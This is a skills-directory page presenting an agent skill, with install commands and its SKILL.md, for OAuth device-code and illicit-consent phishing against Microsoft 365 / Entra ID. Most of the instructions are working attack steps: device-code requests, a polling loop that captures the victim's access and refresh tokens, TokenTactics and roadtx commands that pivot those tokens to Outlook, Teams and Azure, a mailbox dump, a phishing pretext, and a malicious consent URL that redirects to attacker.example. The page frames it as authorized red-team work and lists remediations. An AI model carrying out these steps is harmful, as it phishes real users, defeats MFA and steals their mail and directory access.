attacking-oauth-with-device-code-phishing skill
Run OAuth 2.0 device-code and illicit-consent phishing attacks against
Is the attacking-oauth-with-device-code-phishing skill safe?
Clean: nothing in its files matched our rules. We read 5 files in the folder on 2026-09-28.
No findings.
Install the attacking-oauth-with-device-code-phishing skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git /tmp/Anthropic-Cybersecurity-Skills mkdir -p ~/.claude/skills cp -r /tmp/Anthropic-Cybersecurity-Skills/skills/attacking-oauth-with-device-code-phishing ~/.claude/skills/attacking-oauth-with-device-code-phishing
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
Attacking OAuth with Device-Code Phishing
Legal Notice: This skill is for authorized security testing, red-team engagements, and educational purposes only. Device-code and consent-grant phishing manipulate real users into authorizing attacker-controlled access to corporate identities. Execute only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws worldwide.
Overview
The OAuth 2.0 Device Authorization Grant (RFC 8628) was designed for input-constrained devices (smart TVs, CLI tools) that cannot easily present a browser-based login. A device requests a short usercode and a devicecode, displays the usercode and a verification URL to the user, and polls the token endpoint while the user authenticates on a separate, fully-featured device. Attackers weaponize this flow: instead of a smart TV, the "device" is the attacker's machine. The attacker initiates the device-code request, then phishes a victim to visit the legitimate Microsoft verification page (https://microsoft.com/devicelogin) and enter the attacker-generated usercode. Because the victim authenticates on the genuine Microsoft login page — completing MFA — the resulting tokens are minted to the attacker's polling session. This bypasses MFA entirely: the second factor is satisfied by the victim, but the bearer tokens land with the attacker (mapped to MITRE ATT&CK T1528 – Steal Application Access Token).
Microsoft Threat Intelligence, Volexity, and Proofpoint documented sharp growth in device-code phishing through 2025, with Russia-aligned actors (tracked by Microsoft as Storm-2372) among the most prolific. Mandiant's M-Trends reporting similarly highlights OAuth token theft as a leading cloud initial-access vector. A closely related technique is the illicit consent grant ("OAuth phishing"): the attacker registers a multi-tenant app and tricks the victim into clicking an /adminconsent or user-consent URL, granting the malicious app delegated Microsoft Graph permissions (Mail.Read, Files.ReadWrite.All, offline_access) that persist independently of password resets. This skill covers both, plus token replay across Microsoft 365 services using TokenTactics and validation/access mapping with ROADtools.
The defining property red teams exploit: access tokens minted via the device-code flow are valid for roughly 60–90 minutes, but the accompanying refresh token (with offline_access scope) survives for up to 90 days and can be redeemed for fresh tokens against any first-party resource the client is allowed to request — Outlook, SharePoint, Teams, Azure Resource Manager — enabling durable, MFA-surviving access.
When to Use
- During an authorized red-team or assumed-breach engagement targeting Microsoft 365 / Entra ID where social-engineering is in scope
- When validating Conditional Access policies, MFA enforcement, and token-protection controls against real phishing techniques
- When testing whether an organization restricts the OAuth device-code flow or blocks unverified multi-tenant app consent
- When demonstrating MFA-bypass risk to justify phishing-resistant authentication (FIDO2) and token-binding controls
- When building detections (paired with the blue-team hunting-saas-sso-token-abuse skill) and you need realistic telemetry
Prerequisites
- Written authorization / rules of engagement explicitly permitting phishing and token theft against the target tenant
- A controlled pretext-delivery channel (sanctioned phishing infrastructure or an internal test mailbox)
- Linux or Windows attacker host with Python 3.8+ and PowerShell 7+
- TokenTactics (PowerShell) and ROADtools (Python) installed:
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security
pip install roadtools roadtools_auth
# roadtx (ROADtools Token eXchange) ships in roadtools_auth
roadtx --help
# TokenTactics v2 (rvrsh3ll)
git clone https://github.com/rvrsh3ll/TokenTactics.git
pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1"- Familiarity with OAuth 2.0 grant types, JWT structure, and Microsoft Graph scopes
Objectives
- Initiate an OAuth device-code request against Entra ID using a first-party client ID
- Deliver a credible pretext that drives the victim to the genuine Microsoft device-login page
- Poll the token endpoint and capture the victim's access and refresh tokens
- Refresh tokens across Microsoft 365 resources (Graph, Outlook, Azure management) to expand access
- Execute the illicit-consent variant by registering and phishing consent for a malicious multi-tenant app
- Enumerate accessible resources and data with ROADtools to demonstrate impact
- Document MFA bypass and produce remediation recommendations
MITRE ATT&CK Mapping
Related techniques frequently chained: T1566 Phishing (delivery), T1550.001 Application Access Token (replaying stolen tokens), T1098.003 Account Manipulation: Additional Cloud Roles (consent grant persistence).
Workflow
Phase 1: Initiate the Device-Code Request
The attacker requests a device code from Entra ID, choosing a first-party client that the victim implicitly trusts. The Microsoft Office client ID d3590ed6-52b3-4102-aeff-aad2292ab01c is commonly used because it is pre-authorized for broad first-party resources.
- Request a device code directly via the token endpoint:
# client_id = Microsoft Office; scope requests offline_access for a long-lived refresh token
curl -s -X POST \
'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \
-d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
-d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json- The JSON response contains the fields you weaponize:
{
"user_code": "B7HVQXKZ2",
"device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...",
"verification_uri": "https://microsoft.com/devicelogin",
"expires_in": 900,
"interval": 5,
"message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B7HVQXKZ2 to authenticate."
}- Note the 15-minute (expires_in: 900) validity window — the pretext must drive the victim to authenticate quickly.
Equivalent using TokenTactics (handles polling automatically):
Import-Module ./TokenTactics/TokenTactics.psd1
# Generates a device code and begins polling; prints the user_code to phish
Get-AzureToken -Client MSGraphPhase 2: Deliver the Pretext
The phishing message must NOT contain a credential-harvesting link — the victim authenticates on the real Microsoft page, which is what defeats user suspicion and MFA.
- Craft a pretext that references the genuine https://microsoft.com/devicelogin URL and the user_code (e.g., "IT is enrolling your account in the new Teams Rooms device; open microsoft.com/devicelogin and enter code B7HVQXKZ2 within 15 minutes").
- Send through sanctioned phishing infrastructure. Hyperlinked codes/URLs frequently land in spam, so present the URL and code as plain text.
- Time delivery to the start of a polling cycle so the code is fresh.
Phase 3: Poll and Capture Tokens
While the victim authenticates and approves, poll the token endpoint with the device_code until tokens are issued.
- Poll at the server-specified interval (5 seconds); authorization_pending is expected until the victim completes sign-in:
DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])")
while true; do
RESP=$(curl -s -X POST \
'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \
-d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \
-d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
-d "device_code=${DEVICE_CODE}")
echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; }
echo "$RESP" | grep -q authorization_pending || echo "$RESP"
sleep 5
done- On success the response yields accesstoken, refreshtoken, idtoken, expiresin, and the granted scope.
- Decode the access token to confirm the captured identity, audience, and scopes:
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"Phase 4: Refresh Across Microsoft 365 Resources
The refresh token (with offline_access) can be redeemed for tokens scoped to other first-party resources, expanding access beyond the original scope.
- Use TokenTactics refresh functions to pivot the refresh token to specific services:
# $response holds the device-code result from Get-AzureToken
$rt = $response.refresh_token
Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # mailbox access
Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph
Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams
Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM
Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt- Equivalently with roadtx, redeem the refresh token for a new resource:
roadtx refreshtokento \
-r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
-c d3590ed6-52b3-4102-aeff-aad2292ab01c \
-s https://graph.microsoft.com/.default- Demonstrate mailbox access to prove impact (read-only, scoped to engagement rules):
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder InboxPhase 5: Illicit Consent Grant Variant
Instead of device-code, register a malicious multi-tenant app and phish the victim to consent to delegated Graph permissions for durable, password-reset-surviving access.
- Register a multi-tenant app in an attacker tenant requesting delegated scopes such as Mail.Read, Files.ReadWrite.All, offline_access.
- Build a user-consent URL and phish it:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=<ATTACKER_APP_ID>
&response_type=code
&redirect_uri=https://attacker.example/callback
&response_mode=query
&scope=offline_access%20Mail.Read%20Files.ReadWrite.All
&state=12345- When the victim consents, exchange the returned code for tokens:
curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \
-d 'client_id=<ATTACKER_APP_ID>' \
-d 'grant_type=authorization_code' \
-d 'code=<AUTH_CODE>' \
-d 'redirect_uri=https://attacker.example/callback' \
-d 'client_secret=<APP_SECRET>' \
-d 'scope=offline_access Mail.Read Files.ReadWrite.All'- The consented OAuth grant persists as a service-principal grant in the victim tenant until an admin revokes it (Remove-MgServicePrincipalOauth2PermissionGrant).
Phase 6: Enumerate Impact with ROADtools
- Authenticate roadrecon with the captured token / refresh token and dump the directory:
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
-c d3590ed6-52b3-4102-aeff-aad2292ab01c
roadrecon gather
roadrecon gui # browse users, groups, app registrations, role assignments- Identify high-value access: role assignments, owned applications, accessible SharePoint sites, and additional consent grants.
- Record exactly what data and roles the stolen tokens reached for the engagement report.
Tools and Resources
Defensive Recommendations
Validation Criteria
- [ ] Device-code request returned a valid usercode and devicecode
- [ ] Pretext delivered referencing the genuine Microsoft device-login page (no harvesting link)
- [ ] Token endpoint polled and accesstoken + refreshtoken captured
- [ ] Access token decoded to confirm captured identity, audience, and scopes
- [ ] Refresh token successfully exchanged for at least one additional M365 resource
- [ ] MFA bypass demonstrated (victim completed MFA; attacker holds usable tokens)
- [ ] Illicit-consent variant tested or documented as out of scope
- [ ] Accessible resources enumerated with ROADtools and recorded
- [ ] Remediation recommendations (CA device-code block, FIDO2, consent restrictions) delivered
More skills from mukul975/Anthropic-Cybersecurity-Skills
- Aabusing-dpapi-for-credential-accessExtract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
- Aabusing-shadow-credentials-for-privescTake over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
- Aachieving-cmmc-level-2-compliancePrepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the organization for a C3PAO assessment. Use when an organization handles Controlled Unclassified Information (CUI) under a DoD contract, when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for or responding to a CMMC assessment, when computing or improving an SPRS score, when building a System Security Plan or POA&M for 800-171, or when scoping which systems are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2, CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.
- Aacquiring-disk-image-with-dd-and-dcflddCreate forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
- Aanalyzing-active-directory-acl-abuseDetect dangerous ACL misconfigurations in Active Directory using ldap3
- Aanalyzing-android-malware-with-apktoolPerform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.
- Danalyzing-api-gateway-access-logs'Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect
- Aanalyzing-apt-group-with-mitre-navigatorQuery ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.
- Aanalyzing-azure-activity-logs-for-threats'Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query
- Aanalyzing-bootkit-and-rootkit-samples'Analyzes bootkit and advanced rootkit malware infecting the Master
- Aanalyzing-browser-forensics-with-hindsightParse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.
- Aanalyzing-campaign-attribution-evidenceSystematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.